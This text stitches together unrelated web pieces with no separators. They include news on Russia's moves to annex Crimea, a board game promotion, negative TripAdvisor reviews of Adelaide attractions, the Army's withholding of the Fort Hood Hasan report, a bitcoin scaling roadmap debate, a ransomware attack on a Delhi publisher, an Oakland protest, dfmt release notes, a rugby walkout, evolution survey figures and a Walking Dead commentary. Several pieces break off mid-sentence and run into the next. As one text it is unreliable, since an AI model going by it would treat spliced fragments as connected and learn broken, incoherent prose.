“If the decision is made, then (Crimea) will become an absolutely equal subject of the Russian Federation,” Matvienko said during a visit from the chairman of the Crimean parliament, Vladimir Konstantinov. She spoke of mistreatment of Russian-speaking residents in Ukraine’s east and south, which has been Moscow’s primary argument for possible intervention in Ukraine.
The Russian parliament is scrambling to make it easier for Crimea to join Russia. Russia’s constitution allows the country to annex territory only by an agreement “initiated… by the given foreign government.” That would entail signing an agreement with the new authorities in Kyiv, whom Moscow doesn’t recognize.
New legislation would sidestep that requirement, according to members of parliament, who initially said a new bill could be passed as soon as next week, but have since indicated that they will wait until after the referendum.
On the other side of Red Square from the parliament building, 65,000 people gathered at a Kremlin-organized rally in support of Crimea.
“We always knew that Russia would not abandon us,” Konstantinov shouted from the stage. He also called on Moscow not to forget other Russia-leaning regions in Ukraine.
“We must not leave the Ukrainian people at the mercy of those Nazi bandits,” he said, referring to the new government in Kyiv.
Russian state gas company Gazprom also increased the pressure on Ukraine’s new government, which now owes $1.89 billion for Russian natural gas. Gazprom chief executive Alexei Miller said if Ukraine doesn’t pay off its debt, “there is a risk of returning to the situation of the beginning of 2009” when Russia cut off supplies to Europe because of a pricing dispute with Ukraine.
The new government, which is struggling to stabilize Ukraine’s finances and failing economy, got encouraging news Friday from the International Monetary Fund, which said that economic assistance was on the way.
“I am positively impressed with the authorities’ determination, sense of responsibility and commitment to an agenda of economic reform and transparency, Reza Moghadam, the IMF’s European Department director, said in a statement after a two-day visit. ”The IMF stands ready to help the people of Ukraine.“
Russia has denied that its forces are active in Crimea, describing the troops who wear green uniforms without insignia as local “self-defence forces.” But many of the troops, who are armed with advanced heavy weaponry, are being transported by vehicles with Russian license plates.
Hoping to pressure Russia to roll back its military presence, the U.S. imposed financial sanctions and travel bans on Russians and other opponents of the new Kyiv government on Thursday. The European Union suspended talks with Russia on a wide-ranging economic agreement and on granting Russian citizens visa-free travel to the 28-nation bloc, a long-standing Russian objective.
With a solitary Ukrainian athlete taking part in the opening ceremony, Putin opened the Winter Paralympics in Sochi on Friday against the backdrop of his country’s military action in Crimea.
Ukraine delivered a pointed message by sending out only a single flag-bearer to represent the 23-strong team in the athletes’ parade. The appearance of biathlete Mykhaylo Tkachenko drew a roar from the capacity crowd at the Fisht Olympic Stadium. Entering in a wheelchair with the Ukrainian flag, he wore a serious expression.
The Ukrainian team had announced only a few hours earlier that it would not boycott the games, but said it could pull out of the 10-day event if the Crimea situation escalates.
Crimea would be the first territory to join Russia since the breakup of the Soviet Union in 1991. South Ossetia and Abkhazia, which broke away from Georgia after a brief 2008 war with Russia, have been recognized as independent by Moscow, but there have been few serious moves to enable them to join Russia.
For Putin, Crimea would be a dazzling acquisition, and would help cement his authority with a Russian citizenry that has in recent years shown signs of restiveness and still resents the loss of the sprawling empire Moscow ruled in Soviet times.
In the Crimean capital, Simferopol, 75 people turned out Friday for a rally at the local monument to 19th-century Ukrainian poet Taras Shevchenko. They spoke both Ukrainian and Russian, but waved Ukrainian flags and released white doves into the rainy sky.
One of those at the protest was native Russian speaker Anton Romanov, who said he opposes the occupation of Crimea by Russian troops.
“I’m against being forced to live in a different country,” he said.
John-Thor Dahlburg reported from Kyiv, Ukraine. Tim Sullivan in Simferopol, Ukraine, and Angela Charlton in Brussels contributed to this report.You are at the beach during your vacation. Everything is peaceful and in harmony. Out of a pure love of life,you start to build a sand castle. Wait…What are your neighbors doing? Everywhere, sand castles rise up. But it was you, who wanted to build the best, highest, biggest sand castle. Suddenly, everybody is in the middle of a competition.
Everybody builds with the materials on hand. Who will deplete all their materials and win the sand castle competition? Every player for themselves, and all against each other, that‘s what‘s going on here!
Deck building is over! Fine Sand is Deck Deconstruction!
Fine Sand uses the Fable Game TM System introduced in Fabled Fruit: In addition to a stack of starting cards, each player receives a presorted stack of Fable cards. With these cards, your card stack is changed from game to game, and new mechanics will emerge as well! Continue to play, or reset and play the game again with the same or different groups. Fine Sand also includes an addictive solo campaign!
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NOTE 2: Preorders may end without notice! Preorder now, or you may lose out!WE love Adelaide, you probably love Adelaide and most visitors seem to fall in love with our city, too, but you can’t please everyone.
For good reason, we feature lots of stories about the things everybody loves about the place, and of course it routinely features in international “most-liveable” lists (last year coming in at a stellar number five), but there are people who are not so impressed and, in the age of the internet, they can share their views and critiques with the world.
The tripadvisor website, used by thousands of people to plan their travel experiences, features traveller reviews and, although Adelaide’s write-ups are mostly glowing, those tourists who didn’t have a great time are not shy about sharing their gripes. We took a look at reviews on some popular Adelaide attractions and found that someone has something bad to say about almost all of them, so we’re sharing some of those one-star appraisals here to see if you think they have any good points. Or are they just having a whinge?
Certainly, no one is safe. First on the list is Adelaide Oval, and everyone loves Adelaide oval, right? Wrong.
*All reviews from tripadvisor. Some have been edited for length, but all are otherwise as they appeared on the travel website, including supplied headings.
Adelaide Oval
Adelaide oval is, of course, primarily a sporting venue, and it must be said it was very hard to find a complaint about its performance as a place to see a game of footy or cricket. As for getting something to eat or drink, though...
Rip off stadium!
“Make sure you bring your own food, this place is the most expensive sporting venue in the southern hemisphere. A beer in a plastic cup is $9 and could be the worst beer I have ever drank “west end” bubble less rubbish! If you have to go here make sure you visit a local pub before!!...”
Miserable service
“Attended Ian McLachlan room for a corporate function - I was really disappointed with the drinks and canape service. Practically non-existent, and when we were served it was with a miserable attitude.”
Sporting... not food venue
“For Economics students studying for an Honours, look no further than Adelaide Oval for your higher degree. This has everything. A bloated Board actively sucking every dollar spent to pay their Board fees. A Licensing obligation to the AFL. Honest food/ beverage operators belted by licensing obligations. Think $8 cups of Beer, and you get the message. It’s all about money...yours. The economics of mass consumption is alive and well at Adelaide Oval. Humans that do not conform to seats designed for average height people, say 5’8’’, will suffer in the seats. Normal Gladiators, like me, all 6’4” may as well go the nearest Pub.
Like visiting a drunker, less friendly part of North Korea.
“Went to the Strikers semi-final when they were beaten out of sight - Australians are sore losers if the bad grace on display on that occasion is anything to go by. The security guard at the front gate appeared to be suffering from some terrible illness which rendered him unable to communicate other than by grunting and using vague gestures. When I finally was allowed in and found my seat I was surrounded by couples with young children using the opportunity to get beastly drunk on massively over-priced beer and wine which was slopped into them by indolent teenagers at the concession stands. Every so often there would be attempts to orchestrate various activities - making stupid noises or hand claps - and the whole experience was punctuated by quasi-fascist announcements demanding that patrons not say, do or think anything not approved by management on pain of expulsion. Woohoo!”
Atrocious crowd behaviour and poor security
“Whilst the facilities are very good at this new venue, the security is non existent
Boorish, foul mouthed behaviour by fans behind us spoiled our night. Swearing, drunkenness, throwing food, not good for the children seating near us.”
Not for music concerts
“I love Adelaide Oval for sports, but for music concerts it’s terrible. The sound is completely distorted. Never again!”
Glenelg Tram
Ok, so how about the tram? We’ve only got one line, but it’s pretty efficient and takes people to a nice beach. Any complaints?
Ticket confusion
“We travelled for free as we couldn’t work out how to use the pay machine on the tram. And trying to operate the machine while the tram is in motion is impossible. Certainly not user friendly.”
Not if you’re from Melbourne!
“We did the day trip to beach with kids and it was pretty underwhelming but we are from Melbourne and are routinely on tram to St Kilda beach.
It’s a longish tram trip through suburbs and took awhile to get a seat. The kids were bored...
The beach is good and jetty is fine. Lots of cafes but we didn’t find anything spectacular. We were there on summer weekend and it was too busy.
The best bit was council museum which was air conditioned and had clean loos - and our kids unexpectedly totally loved.”
Modern day disaster
“Growing up in Adelaide I loved catching the tram to bay. I loved the comfy leather seats & whilst it is true it did not have modern day “air-con” it did have adjustable windows. It was well designed with most of the seats hinged so you would always be facing the front of the tram. So sad to see them replaced with modern day hideous alternative, covered in advertising & seats which feel akin to sitting on rough brick.. if your lucky enough to get one.”
Sardine class transport
“In response to the SA Govt. recommendation we have travelled by tram in order to attend cricket at Adelaide Oval & 2 concerts at the Entertainment Centre. Regrettably we won’t be repeating the experience due to chronic overcrowding at any time of high demand, even to the point of trams passing through a stop without picking any passengers up. We had to wait for 4 trams to pass Forestville tram stop before being able to squeeze onto the 5th for a most unpleasant trip to the Oval only to miss the start of play. Similarly a tram to the Entertainment Centre was 15 mins late arriving meaning a rush to see the 8pm concert begin. This was caused by the large numbers of people getting on & off at the city stops. Standing room only & people being herded together under each other’s armpit & breathing on each other does nothing but detract from what should be an enjoyable experience, especially given the prices charged for admittance to the venues. Clearly many more services & trams with many more seats are needed before the Glenelg tram can be described as fit for being a vital part of a public transport system which can move a large number of people at times of high demand with an acceptable amount of safety & comfort.”
Retro tourism: South Australia 0:59 With a sassy saxophone number and a deep voiced narrator, this commercial from South Australia tried to seduce tourists to visiting the state.
Stinky
“The ride itself was pretty Quick, but stank of urine and we got off feeling urrrgh! All we wanted to do was wash. The seats and hand rails were slimy and dirty.”
Get a cab
“Thinking we’d quickly jump on the new tram and head for the beach was a bad idea. Firstly the ticketing system is so confusing we had literally passed 3 stops before I managed to buy a ticket and even then not sure I got the right one. There are different rates/zones/fares/number of stops/free sections that make little sense to a visitor. It was standing room only(wasn’t a weekend) and in amongst the prams and bicycle running over my feet by the 17th, yes 17th stop I’d had enough. It was a long, uncomfortable and frustrating trip that I won’t be taking again. The cab home was great”
‘Attraction’ is somewhat misguided
“The Glenelg Tram is a semi efficient way of getting out to the seaside suburb of Glenelg. On the bright side, it saves you getting a parking ticket (the Council employs these people to hide and issue parking fines the minute you go over time). But another Council, Adelaide City Council, don’t like cars and trams in the city, so they like to create traffic gridlock with bad traffic light sequencing. So... 15 minutes to get from the centre of the city to South Terrace (you can walk quicker) and another 15 minutes or so to go all the way to Glenelg. It’s hardly an attraction, and you’ll find yourself standing and surrounded by hundreds of communters in peak periods.”
Long ride, okay destination. Nothing to see en route
“This was a Waste of time. it was a Slow crowded train ride, with nothing to see until arrival at the beach.”
Never enough seats!!
“There are only about 5 seats on each tram, I don’t understand why?! It’s always packed during the day so I would hate to have to use it as my main mode of transport to work during peak hour!!”
It’s a Tram!
“It just a tram...nothing special. It goes from a Entertainment Centre to a beach...Exciting!!! It runs everyday too!!”
Rundle mall
In the case of the Mall, we actually were expecting some negativity, given that locals have been arguing about the amenity of the premier shopping district since that section of Rundle St was closed to traffic decades ago. We didn’t expect claims of marauding street gangs or street prostitution, though.
Hit and miss
“It felt a bit boring to me and lots of beggers and working girls to be found there. Not a huge fan to be honest.”
Stark, paved, desolate shopping area
“As Australian cities malls go it is a paved wasteland. No real gardens and the only art is some balls and pigs. The shops are just your run of the mill shops you get in any shopping centre. A place only South Australians could love.”
Don’t
“Do not go to this place, if you are out of town you will be abused & Bullied as my wife was down there.”
Large groups of kids being abusive on a regular basis and fighting
Just lately there have been large groups of kids hanging around, throwing their rubbish about and being abusive and fighting most nights during the week from about 3pm. Some in school uniforms. Wish their schools and parents could see how they act. Police get called regularly as do security. If I didn’t work in the city, I certainly would avoid this area between Myer centre and Sportsgirl. Clean then up Rundle Mall, this is what our visitors see!
Absolutely nothing to recommend it...
“Years ago Rundle Mall used to be Rundle Street...and despite all the creative hyberbole by the Adelaide City Council it still has zero appeal and is a place you want to transit as quickly as possible. It’s just a way to get from one shop to another while walking over thousands of imported Chinese pavers. There is not a square metre of shade to be found anywhere, so on a hot summer day it’s the place you least want to be. Absolutely nothing to recommend it, try poking yourself gently in the eye with a stick for a more entertaining experience.
All in all...boring, way too hard, too expensive, easier to go elsewhere.”
Retro tourism: South Australia 0:29 In the 1980s Adelaide tried to show there was more to the city than it's churches.
Poorly revamped
“We have travelled all over Europe and not seen anything that would sink to this.”
Why would you?
“Unless you are coming from a very small town or far out in the country, what would be the point? Anywhere else in the world has large stores stocked full of the latest things, a wide range of quality food outlets and toilets. Adelaide has tiny little pokey shops with minimal stock, cheap and nasty items, poor staff service, nasty food, and outdated ranges. Good luck trying to find a toilet if you’re not a local and inherently ‘know’ where they are located. There’s nothing to see here. Move along.”
BORING
“I was really looking forward to this outing especially to the Adelaide Arcade... But I was bumped that it was sooooo boring :( I liked the design and the free miniature museum, but that was about it... The other shops are just for shopping... I was hoping for more of a cultural and historical experience... Have we become such consumerists that we only care about shopping?? :( sad...”
What have they done to you!
“I used to love shopping in the Mall, when I lived in Adelaide it was a joy to shop there with its leafy trees, upmarket designer boutiques, charming fruit carts which were stunning in spring with their buckets of colourful flowers and meeting my son with other college kids at Mall’s Ball’s, There were good restaurants and coffee shops to lunch in after spending a fortune. The Mall was vibrant and full of people and character.
WHAT THE HELL HAPPENED!!!”
A waste of time!
“Merely a concrete pathway devoid of any character or charm. How many time to I have to repeat “merely a concrete pathway devoid of any character or charm” in order to meet the “100 character minimum” criteria? I suppose I could insert “totally and utterly” after the word “pathway” and before the word “devoid”.....? Either way my opinion of Rundle Mall is the same. i.e. Merely a concrete pathway etc. etc. etc”
Use the internet
“This place isnt very good. Goods overpriced and way behind the trends.
Buy from the internet.
The big silver balls that are supposed to be a landmark are poor.”
Dour
“It has to be the most stupefyingly boring place I’ve ever visited in the southern hemisphere. The people in Adelaide often seemed to walk around with a vacant look like they’ve been lobotomised. Nowhere summed this us better than this place. This was the heart of the city and summed up the cafe culture Adelaide city often cite in their sales spiel. All talk I’m afraid.”
Henley Square
The recently revamped Henley Square is apparently so good that it’s bad.
Too Crowded
“This place is so popular with the locals and mostly people from the western suburbs that it is practically impossible to have a good time here. Some of the old timers have the right idea when they chuck a fishing line in over the edge of the jetty, but really, it’s just like the Gold Coast with overpriced fish and chips and too many kids and muscle dudes prancing around.”
Boring
“Colourful exciting vibrant non of these words come to mind after visiting henley square. A multi million dollar revamp its hard to believe. Plenty of places to eat drink and relax but nothing to look at so dont bring your camera.”
Pleasant seafront location - zero parking and crowded
“On the surface, Henley Square is the ideal place - on the seafront, many eateries to choose from - most are just average cafe style places (which is fine for most), but you can generally find a decent coffee and the beach walks in either direction are pleasant. However, parking is a total nightmare on Sunday morning and without a booking, I am not sure you would be able to find a table in any restaurant on Sunday. Simply put, for an old grump like me who detests crowds, Henley Square is just too trendy for my liking - for people of like mind, go during the week when there are less tattoo’ed trendoids about.”
Crowded, SO many tourists and youngsters
“I live close to Henley Square and I generally avoid it at all costs, particuarlly in summer. This is the kind of place where you go if you like a crowded beach full of teenagers and young lads driving around loud cars for attention. There is always rubbish on the beach. The restaurants are always crowded and noisy. You can’t sit down on the esplenade grass in fear that you will be hit by a football as there are so many kids running around playing ball. Overall, an unpleasant and noisy beachfrom tourist attraction. Not the kind of place you’d go for a nice evening at the beach.”
Glenelg beach
Glenelg beach. Beautiful, sandy, clean Glenelg beach. What could possibly be wrong with Glenelg beach?
Nothing interesting about a beach with mounds of sea weed
“I have experienced beaches on the Southern Ocean, and they always appear to be covered in sea weed which if walking on the sand is a bit daunting trying to avoid the washed up kelp not to mention the odour. yuk.”
Not sure what others see in it
“Smelly beach, covered in seaweed. Turbulent waters and tacky shops. Not sure why anybody would recommend this.”
Dull
“This piece of beach was quite dull with generic stores and fancy cafes and bars littered along the main streets and some ugly high-rises right on the coast. It’s not spectacular by any standards as far as Australian coastlines go. If you’re dying to go the beach, there’s sand and there’s water but not much else to please the eye.”
Adelaide Central Market
Ah, the market... Bustling, energetic, loaded with fresh food. What’s not to love?
What a Bust
“Walked miles to find it only to find most of it closed and what was open pretty ordinary. Don’t bother go to the supermarket instead.”
Waste of time
“More coffee shops than marketplace. Overpriced and not good. From Chinese soups to Spanish tapas but both terrible. Vegetables or Fish you can get at the supermarket the same fresh and cheaper.”
@YumchaAddict reviews Adelaide Central Markets
“Disappointing: much smaller than we expected! Nothing special here. Can’t believe it’s so highly rated?!? Very unimpressed with dodgy fruit sold to us by stall holder sweet-talking us to buy from her! Fruit looked good on outside but rotten inside! Buyers beware!!! Won’t be returning - don’t bother wasting your time here!”
Closed at the weekend?
“Twice spent time in Adelaide and still never managed to get a look at these markets. Why? Because they close at the weekend, specifically on a Sunday. I would say its like the bloody dark ages but of course in the dark ages the markets never closed. I would seriously love to hear the reasoning behind this lunacy.”
Pick Pockets & Other Undesirables
“You should not be surprised that you may be targeted by thieves at the Adelaide Central Market, that is because the place is so crowded and dimly lit that it is easy to remove someone’s valuables from their bag or back pocket. Due to the crowded nature of the Adelaide Central Market, this place is also a magnet for homeless people begging and potential sex offenders who are liable to target young children in the bathroom or grope people in the crowd.
The variety of food that is available here is nothing special, the only difference is that the stall holders will charge you a premium price for shopping with them. Most of the food and trinkets at the market is available at your local Woolworths or Foodland Super |
condition access to the courts,” he states. It’s not the first roadblock Army authorities have thrown in front of reporters covering the Hasan case: Journalists say that at one point, they were told not to ask prosecutors certain questions, or else they’d face expulsion from the court.
But the phantom report is a new twist. Army prosecutors held an indictment hearing against Hasan last year, known in military parlance as an “Article 32” investigation. The hearing, called “chilling” by observers, was open to the public, and the case against Hasan seemed straightforward, according to retired Army lawyer Geoffrey Corn, who observed the proceedings. Fifty-six government witnesses testified that they were shot at by Hasan or saw him shooting at others. Prosecutors rolled out the autopsies of the 13 dead victims; they detailed how many spent bullet casings were found at the scene (146) and how many unused bullets were found in Hasan’s possession (177). Within weeks, the judge, Colonel James Pohl, issued a final Article 32 report ruling that Hasan should be tried for capital murder.
But the Army has repeatedly refused to reveal the contents of Pohl’s report. That’s highly unusual in military justice circles. The Army “has released Article 32 investigating officer reports in the past, sometimes even before the commander had opted on a course of action, and that made sense,” Christenson writes. It’s normally a routine step: “[T]he investigating officer’s sole mission was to tell the commander if there is enough evidence in the case to justify taking it to a judge and jury.”
Why, then, wouldn’t the Army release its full dossier on Hasan? It’s possible there’s some new, revelatory terrorism-related information in the report that didn’t make it into the indictment hearing. There wasn’t, for instance, much courtroom discussion about the numerous emails Hasan exchanged with Anwar al-Awlaki, a US-born cleric and member of Al Qaeda who has been marked for death by the federal government. In all, Army investigators reportedly amassed hundreds of thousands of pages in evidence, 123,000 of which were provided to Hasan’s defense team and little of which made it into the court.
On the other hand, there could be nothing new in the report, making it all the less clear why the Army’s not hewing to its usual public-records practices. “When the report is released, I’ll wager there are no stunning revelations in it. Certainly, it will contain no classified information. People will wonder what the fuss was all about, just why Fort Hood went to so much trouble to keep the document secret,” Christenson writes. “That’s especially so in a case with such public interest, but again, we’re talking about the Army.”As bitcoin approaches a particularly tense and uncertain period, it might seem like a strange time to map out the cryptocurrency’s future at all.
Eyes are glued on two competing scaling projects aimed at boosting bitcoin’s transaction capacity, which are set to come to a head at the end of the month. The best case? Bitcoin could see a smooth capacity increase. The worst? Bitcoin could split into two networks and competing assets.
Yet, that isn’t stopping developers from stepping back from the current quagmire to look at the longer term technical picture and how bitcoin could be improved over the next few years. In fact, most bitcoin developers don’t seem interested in the debate at all, focusing instead on a range of other forward-looking projects.
One example of this long-range focus came Tuesday when developer Paul Sztorc proposed a new scaling roadmap to a popular bitcoin mailing list, charting out an admittedly rough path for future bitcoin development.
In conversation with CoinDesk, Sztorc stressed the roadmap is very far from official as it’s “just one man’s work.” He even admitted to not agreeing with all of his own roadmap’s contents.
But, he wanted to open up a conversation about what experts think bitcoin’s next steps are.
Starting point
To begin, Sztorc’s new roadmap continues to include Segregated Witness (SegWit), the code optimization at the center of bitcoin’s scaling debate, but also outlines a timeline for the Lightning Network, transaction compression and Schnorr signatures.
The Lightning Network Network could help to increase capacity by allowing transactions to be made without being broadcast to the entire network. Sztorc argued it’s complete, except the implementation still needs SegWit to activate to function best.
Schnorr signatures could shrink the size of transactions, further boosting bitcoin’s limited capacity. Sztorc put down a tentative deadline of Q4 of 2016.
The roadmap also includes his own proposal, Drivechain. A sidechain proposal, Drivechain acts as a two-way peg, allowing participants to move their bitcoins to a sidechain while remaining a part of the bitcoin network. The goal is that it will not negatively affect the main network while enabling it to host other assets, but there’s been some discussion about whether this is possible.
While Sztorc admits to be campaigning for his proposal (and also a distinction between “scalability” and “capacity”), and a few developers have given the idea their blessing.
“Maybe everyone will hate it. I don’t know,” Sztorc told CoinDesk.
‘Harming progress’?
Overall, Sztorc’s goal is to refresh an older roadmap.
In December 2015, Blockstream CTO and Bitcoin Core developer Greg Maxwell wrote an email to a popular bitcoin developer list outlining various promising methods of boosting transaction capacity.
You could argue that it spread to become bitcoin’s de-facto scaling roadmap, as many users and those in the technical community often link to it as an informal guide.
But, in Sztorc’s opinion, it’s age is starting to show; many of the changes Maxwell outlined have since been pushed through.
He told CoinDesk:
“People still talk about it as if it’s important. But it’s pretty old. Parts of it aren’t even right. It’s just obsolete.”
The idea of a new plan sounds innocuous enough, right? Yet, some Bitcoin Core contributors responded to Sztorc’s proposal with reluctance, making it clear they believe the original roadmap did more harm than good.
Maxwell, author of the old roadmap, remarked that he wished he had not posted it at all, going as far as to argue that it “harmed progress in our community.”
“What I wrote was carefully constructed as a personal view of how things might work out. It never claimed to be a project roadmap,” he said.
Maxwell detailed reasons for opposing Sztorc’s proposal, namely that many of the technologies listed are not far enough along for developers to have a clear idea of whether they are reasonable to promote.
Bitcoin Core contributor Bryan Bishop was also hesitant to support a new roadmap for the same reason Maxwell does in that the deadlines provided could be construed as solid and agreed upon, leading to confusion. This is especially important, he continued, because Maxwell’s original roadmap has been used to distort Bitcoin Core’s point of view.
“I think it’s very quick to reach the point of unethical to advocate a perspective that there’s guarantee [that] things will happen according to that timeline,” Bishop wrote.
Toward clarity
Still, Sztorc suggests the new roadmap is needed because Bitcoin Core developers are not sufficiently communicating with the outside world about which technical proposals they support.
Communication has long been perceived an issue in the community, especially given that technical changes to bitcoin are often complex and difficult to understand. Some even argue miscommunication between various stakeholders has contributed to bitcoin’s current state, with users supporting competing scaling proposals that could lead to a split of the network.
Of course, Bitcoin Core is a loose group, composed of open-source developers who each have their own opinions and often disagree on technical issues. Yet, as is the case with Segregated Witness (a technical optimization at the heart of bitcoin’s current debate), developers sometimes do share similar views about the best way forward.
According to Sztorc, Maxwell’s roadmap highlighted where there was consensus from experts. He believes his new roadmap is much like that. While the ideas might not be ready for primetime yet, they are all ideas prominent developers are working on today.
“There should be clarity,” he said, arguing a new roadmap might achieve that.
Although, he stressed the proposal is by no means complete. He invited suggestions, rewrites or even several competing roadmaps highlighting expert’s visions.
Sztorc concluded:
“It would be better than what we have now, which is a tangled mess of random social media commentary. I don’t think that really works at all.”
Paul Sztorc image via the Scaling Bitcoin conferenceAfter the WannaCry ransomware cyber attack spread like wildfire and paralysed computer systems across the world, isolated incidents were reported from Andhra Pradesh, Gujarat, Kerala and West Bengal. Now, the capital has seen its first ransomware cyber attack, with employees of Rachna Sagar Private Limited “locked” out of more than 200 computers.
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The cyber attack was reported on August 9 when staff at the publishing company found that they could not log into their user accounts, and could only use the “demo” account. The WannaCry malware attack exploits potential vulnerabilities of computer systems as hackers encrypt all files and demand ransom in exchange for unlocking them. Last year, a ransomware attack was used to target the Mumbai police system, and several files were encrypted by hackers.
When the IT staff at the publishing company tried to diagnose the problem, they found that they had been at the receiving end of a ransomware attack. The hackers had posted a message demanding a ransom between 800-1000 US dollars in Bitcoin. While diagnostic work at the publishing company is underway, the encrypted data has not been recovered. DCP (central) M S Randhawa confirmed the cyber attack and said a complaint has been registered at Darya Ganj police station. The complaint was filed by the general manager at the company. “This morning, when we started our work and opened Busy software, we received a text message which said our files are encrypted. The message said we have to pay money to enable decryption of our files (sic),” the complaint read.
The publishing company uses the accounting software called “Busy” for its work. Employees have two accounts that they log into for accounting transactions — live and demo mode. Users have to gain access to the live mode to conduct business, which they have been locked out of by the hackers. Police sources said it is difficult to track the hackers as they hacked into the computer systems using a proxy network.
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“The hackers have locked out their data since April. Employees have not been able to conduct any business since the day of the cyber attack. Their billing process has been delayed and they are even scared to use netbanking as they fear online payment systems may be compromised,” said a source privy to the investigation.Several protesters demonstrated outside Oakland mayor Libby Schaaf's home early Monday morning in a protest being called #WakeUpTheMayor. (CBS)
OAKLAND (CBS SF) — Dozens of protesters demonstrated outside Oakland mayor Libby Schaaf’s home early Monday morning in a protest being called #WakeUpTheMayor.
About 20-30 protesters assembled in the street in front of Schaaf’s home, saying that if they can’t breathe she can’t dream.
They projected a picture on Schaaf’s garage showing Dr. Martin Luther King Jr. with a quote saying “there comes a time when silence is betrayal.”
Raw Video: Protests Outside Oakland Mayor Schaaf’s Home (credit: Blackout Collective)
The group chanted “no justice, no peace, no racist police — wake up!” Some gave speeches and sang songs. There was also a large sign saying “Dream” and body outlines marked off in chalk on the ground.
Protest organizers set up a live stream of the protest on a UStream channel called Blackout Collective.
Police arrived on scene to monitor the situation, but no arrests were made.
Stevie Wonder’s “Happy Birthday”, a tribute song he wrote and performed as part of a campaign to push for an official Dr. Martin Luther King Jr. holiday, played in front of Schaaf’s garage as one protester danced the electric slide.
Schaaf did not come out to meet the protestors, although a man said to be her husband spoke with them briefly. He reportedly asked demonstrators to have some sympathy for the neighbors.
“We feel like if (Schaaf) was really to honor the true legacy of Martin Luther King, she would have come outside to speak with us,” said Xan West, an organizer and Oakland native.
“It’s a violation of who he was for (Schaaf) to go to events on Martin Luther King Day and try to tell a story of (him) that she doesn’t really enact in her policies,” West added.
Mayor Schaaf’s office could not be reached for comment Monday morning due to the national holiday celebrating Martin Luther King, Jr.
TM and © Copyright 2015 CBS Radio Inc. and its relevant subsidiaries. CBS RADIO and EYE Logo TM and Copyright 2015 CBS Broadcasting Inc. Used under license. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed. Bay City News Service contributed to this report.Brian Schott
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dfmt 0.2.0 is available at https:// github.com/ Hackerpilot/ dfmt/releases/ tag/v0.2.0. dfmt is a formatter for D source code. Version 0.2.0 fixes several bugs and includes improved line wrapping logic. The project now has 85 regression test cases and is becoming much more stable. dfmt is used to format its own source code, which can be viewed here: https:// github.com/ Hackerpilot/ dfmt/blob/ master/ src/dfmt.d Changelogs: 0.2.0: #109 Prefer breaking 'for' and 'foreach' loops at semicolons instead of in expressions #108 Wrong indentation for 'with (...) final switch (...)' #107 Incorrect indentation for cases in'switch' inside of 'with' #106 Extra space added after 'enum' keyword in anonymous typed enum #103 Improved enum formatting #71 Comment after if moved to if line lacks space before it #63 Splitter/indenter indents more when splitting more than once #48 Should keep formatting of UDA #47 Splitter should avoid splitting inner expressions #27 Trailing whitespace is inserted on blank line between comments #23 Better Formatting for Array Literals #20 Extra newlines added to block comments 0.1.10: #101: Doesn't seem to handle #! lines 0.1.9: #100 Wrong case indent with switch inside labeled loop #99 Indentation level incorrect after line-wrapped if conditon with unbraced if statement #98 Brace after commented if without braces is indented 0.1.8: #96 Unbraced decl inside version is no longer on the same line #95 Brace after if without braces is indented #42 Version statements should have enclosed statement on next lineFrance
Rattled Mas walks out on the press
ESPN Staff
Nicolas Mas - over and out © PA Photos Enlarge News: France not 'dishevelled place of chaos' insist Ireland
Reports have been circulating in recent weeks that all is not well within the French camp, and prop Nicolas Mas flouncing out of a press conference on Tuesday did nothing to dispel the image of a side in turmoil.
Mas was facing the media and was asked, not unreasonably, about the poor performance against Scotland last weekend. While he might not have appreciated the tone, it is the kind of situation the media-trained modern professionals are paid to bat back.
It might have been expected that, as a prop, he would have been told he was likely to be asked about the underperforming pack. If he was, then he seemed to have decided that contrary to opinion, all was fine as far as the forwards were concerned.
It was obvious from the initial exchanges that his views were not shared by many of those asking the questions. As the discussion continued about the rucking, Mas shrugged that the rules had changed and the players "were working to find solutions". He seemed genuinely surprised that this aspect of the game was under the spotlight.
"I have been doing the same things for ten or fifteen years," he said. "You want me to change overnight?"
When asked why the French pack was not as dominant as in the past, he snapped. "I don't know," he replied. "You tell me." When someone dared to point out the Irish and English had adapted and were not conceding as many penalties, he countered: "Yes, but we don't judge the scrums on penalties. What strange logic."
One more question, accompanied by a few sniggers, tipped him over the edge. "This is not funny," he said as he got up and walked out. And that was that.
All is well? Non.
© ESPN Sports Media Ltd87-32 A wide gap exists between the public and scientists over evolution.
Few in the scientific community would debate Darwinian theory, but evolution is far from universally accepted among the public at large. While 87% of scientists say humans and other living things have evolved as the result of processes such as natural selection, only a third of the public agrees. Another 22% of the public say humans have evolved, but “a supreme being guided the evolution of living things for the purpose of creating humans and other life in the form it exists today.” Three-in-ten Americans say humans and other living things have existed in their present form since the beginning of time, a belief shared by only 2% of scientists. Younger adults, ages 18 to 29 (40%), and the college educated (45%) are the most likely to believe in evolution, but in neither group does a majority agree. The only group in which a majority says that humans evolved through natural-selection are the religiously unaffiliated (60%). Read MoreTHIS ARTICLE CONTAINS SPOILERS AFTER THE IMAGES – DON’T READ ANY FURTHER UNLESS YOU HAVE SEEN ‘THE MIST’ AND ALL SEASONS OF THE WALKING DEAD…. OR YOU JUST DON’T CARE ABOUT THINGS BEING RUINED FOR YOU.
You may have noticed that 3 of the actors in The Walking Dead were also in The Mist. This should come as no surprise considering that Frank Darabont has Writing, Directing and Producing credits in both. Most people will recognize two of them, Laurie Holden and Jeffrey DeMunn. Attentive viewers will remember the third – Melissa Suzanne Mcbride. She had a very small role in ‘The Mist’.
UPDATE : I received an e-mail from one of our readers pointing out a fourth actor that was in both ‘The Mist’ & ‘The Walking Dead’, Sam Witwer.
But what you may have not noticed is the striking similarities storywise that their characters share in both films. For instance, at the end of The Mist Laurie and Jeffrey play characters that must contemplate suicide vs. a gruesome and agonizing death from the monsters in the film. In The Walking Dead, at the end of the first season, Laurie’s character chooses to commit suicide rather than face a daily existence with the possibility of being killed by or being turned into a zombie but Jeffrey’s character talks her out of it and she resents him for taking away her choice. In both cases, she chooses suicide over letting a monster kill her. In one case she is successful and in the other she isn’t.
Next up is Melissa McBride. In ‘The Mist’ her character leaves the Supermarket and takes her chances in the mist because she has children at home and she is worried that something may have happened to them. At the end you see her alive with her children which includes a daughter. In The Walking Dead, her daughter goes missing in a woods full of zombies and the rest of the group is trying to find her. I both cases her child tor children are in danger in a world overrun by monsters and she doesn’t know where they are or if they are safe or even alive or dead.
UPDATE : Now we know that she wasn’t as lucky in ‘The Walking Dead’ as she was in ‘The Mist’ as far as her child’s fate was concerned. The well-written conclusion of the storyline involving her missing daughter winds up with her being discovered as a zombie. As a viewer, I wondered if they would go for a unrealistic happy ending, but they bravely followed through with a mature ending.
